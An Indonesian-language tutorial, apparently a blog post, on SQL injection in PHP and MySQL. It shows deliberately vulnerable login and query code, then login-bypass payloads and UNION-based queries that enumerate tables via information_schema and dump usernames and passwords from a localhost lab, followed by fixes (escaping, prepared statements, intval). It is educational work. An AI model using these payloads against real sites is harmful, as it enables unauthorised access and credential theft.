SQL Injection
Sintaks proses query yang seperti dibawah ini sangat rentan terhadap serangan SQL Injection
$username = $_POST[‘username’];
$password = $_POST[‘password’];
$login = mysqli_query($conn, “SELECT * FROM user WHERE username = ‘{$username}’ AND password = ‘{$password}'”);
if (mysqli_num_rows($login) == 0) {
die(“Username atau password salah!”);
} else {
$_SESSION[‘admin’] = 1;
header(“Location: admin.php”);
Jika kita masukkan sintak query :
select * from user where username = ‘csi’ and password = ‘testing’
Untuk commad yang tidak dieksekusi pada SQL menggunakan ‘- – ‘ (dash dash spasi).
Hal diatas dapat kita lakukan jika kita mengetahui username dan password, tetapi jika kita tidak mengetahui password saja, misalnya:
select * from user where username = ‘csi’ and password = ‘ ‘
maka kita masukkan command komentar di sql.
select * from user where username = ‘csi’– ‘ and password = ‘ ‘
sehingga yang kita masukkan di field username hanya csi’–
Hal diatas dapat kita lakukan jika kita mengetahui username dan password, tetapi jika kita tidak mengetahui username dan password, misalnya:
select * from user where username = ‘xxx’ and password = ‘yyy’
Kita menggunakan teknik logical OR, dimana kalau salah satu ada yang benar maka akan bernilai benar.
1 OR 1 = 1
0 OR 1 = 1
1 OR 0 = 1
0 OR 0 = 0
Sehingga
select * from user where username = ‘xxx’ OR 1=1 — ‘ and password = ‘yyy’
‘xxx’ OR 1=1 — ‘ akan selalu bernilai benar dan yang ada di belakang – – (dash dash spasi) akan dianggap komentar sehingga tidak akan dieksekusi.
username = ‘xxx’ à suatu yang FALSE
1=1 à suatu yang TRUE
CARA PENGAMANAN SQL INJECTION
Sehingga untuk mengamankan sintaks maka kita menggunakan escape string
mysqli_real_escape_string
Untuk attack berupa SQL yang
‘xxx’ OR 1=1 — ‘ akan disisipi dengan string berupa backslash sehingga menjadi ‘xxx\’ OR 1=1 — ‘
Cara lainya untuk mengamankan query kita adalah dengan prepared statement
mysqli_prepare
untuk username dan password digantikan dengan tanda tanya
Sehingga kita tidak perlu lagi escape string untuk prepares statement.
DENGAN CARA UNION
SELECT * FROM post WHERE id = 1 UNION SELECT 1,2,3,4
Kita coba-coba dengan 4 filed, makanya sampe 4
Masukan ID yang kira2 tidak ada, misalnya 9999
http://localhost/php-sql injection union/post.php?id=9999 UNION SELECT 1,2,3,4
Juga bisa
SELECT * FROM post WHERE id = 9999 AND 1=2 UNION SELECT 1,2,3,4
Yang penting menjadi sintak diawal menjadi salah atau tidak ada isinya,
SELECT * FROM post WHERE id = 9999 AND 1=2 –> salah/tidak ada isinya
http://localhost/php-sql injection union/post.php?id=9999 UNION SELECT 1,’abcd’,3,4
http://localhost/php-sql injection union/post.php?id=9999 UNION SELECT 1,database(),3,user()
Kita sudah dapat nama database dan user dari target.
UNION SELECT 1, group_concat(username),3,group_concat(password) FROM user
Cara itu dilakukan jika sudah mengetahui tabelnya…tetapi jika blm tahu dan hanya mengetahui nama databasenya yg akan dijadikan target, bisa dengan melihat informasi di information_schema
SELECT TABLE_NAME FROM `TABLES` WHERE TABLE_SCHEMA = database() –> lebih flexsibel
Karena sudah mengetahui nama databasenya maka :
SELECT TABLE_NAME FROM `TABLES` WHERE TABLE_SCHEMA = ‘blog’
UNION SELECT 1, group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema = ‘blog’
sehingga bila digabung menjadi
http://localhost/php-sql%20injection%20union/post.php?id=9999 UNION SELECT 1, group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema =’blog’
UNION SELECT 1, group_concat(table_name),3,4 FROM information_schema.tables
Kita sudah dapat nama tabelnya yaitu post dan user. Untuk mendapatkan nama fielnya maka langkahnya adalah :
SELECT COLUMN_NAME FROM `COLUMNS` WHERE TABLE_SCHEMA = ‘blog’ AND TABLE_NAME = ‘user’
UNION SELECT 1, group_concat(column_name),3,4 FROM information_schema.columns WHERE table_schema = ‘blog’ AND table_name = ‘user’
http://localhost/php-sql%20injection%20union/post.php?id=9999 UNION SELECT 1, group_concat(column_name),3,4 FROM information_schema.columns WHERE table_schema =’blog’ AND table_name =’user’
UNION SELECT 1,username,3,password FROM user
Sehingga menjadi
http://localhost/php-sql injection union/post.php?id=9999 UNION SELECT 1,username,3,password FROM user
UNION SELECT 1,group_concat(username),3, group_concat(password) FROM user
Sehingga menjadi
http://localhost/php-sql injection union/post.php?id=9999 UNION SELECT 1,group_concat(username),3, group_concat(password) FROM user
CARA PENGAMANAN SERANGAN UNION
Hal ini dikarenakan id yang tidak di filter
$id = $_GET[‘id’];
$q = mysqli_query($conn, “SELECT * FROM post WHERE id = {$id}”) or die(mysqli_error($conn));
Harus difilter menggunakan fungsi php intval, menjadi
$id = intval($_GET[‘id’]);
$q = mysqli_query($conn, “SELECT * FROM post WHERE id = {$id}”) or die(mysqli_error($conn));
Memaksa suatu string menjadi integer. Sehingga klo di jalankan, tidak akan berpengarus sql injection yang kita coba tadi
Sampai situ dulu, nanti dilanjut ya….insya Alloh…..udah pegel nulis hehehe….
nantikan tulisan berikutnya tentang :
Boolean Based BLIND SQL Injection
BLIND SQL Injection Time based
SQL Injection proses INSERT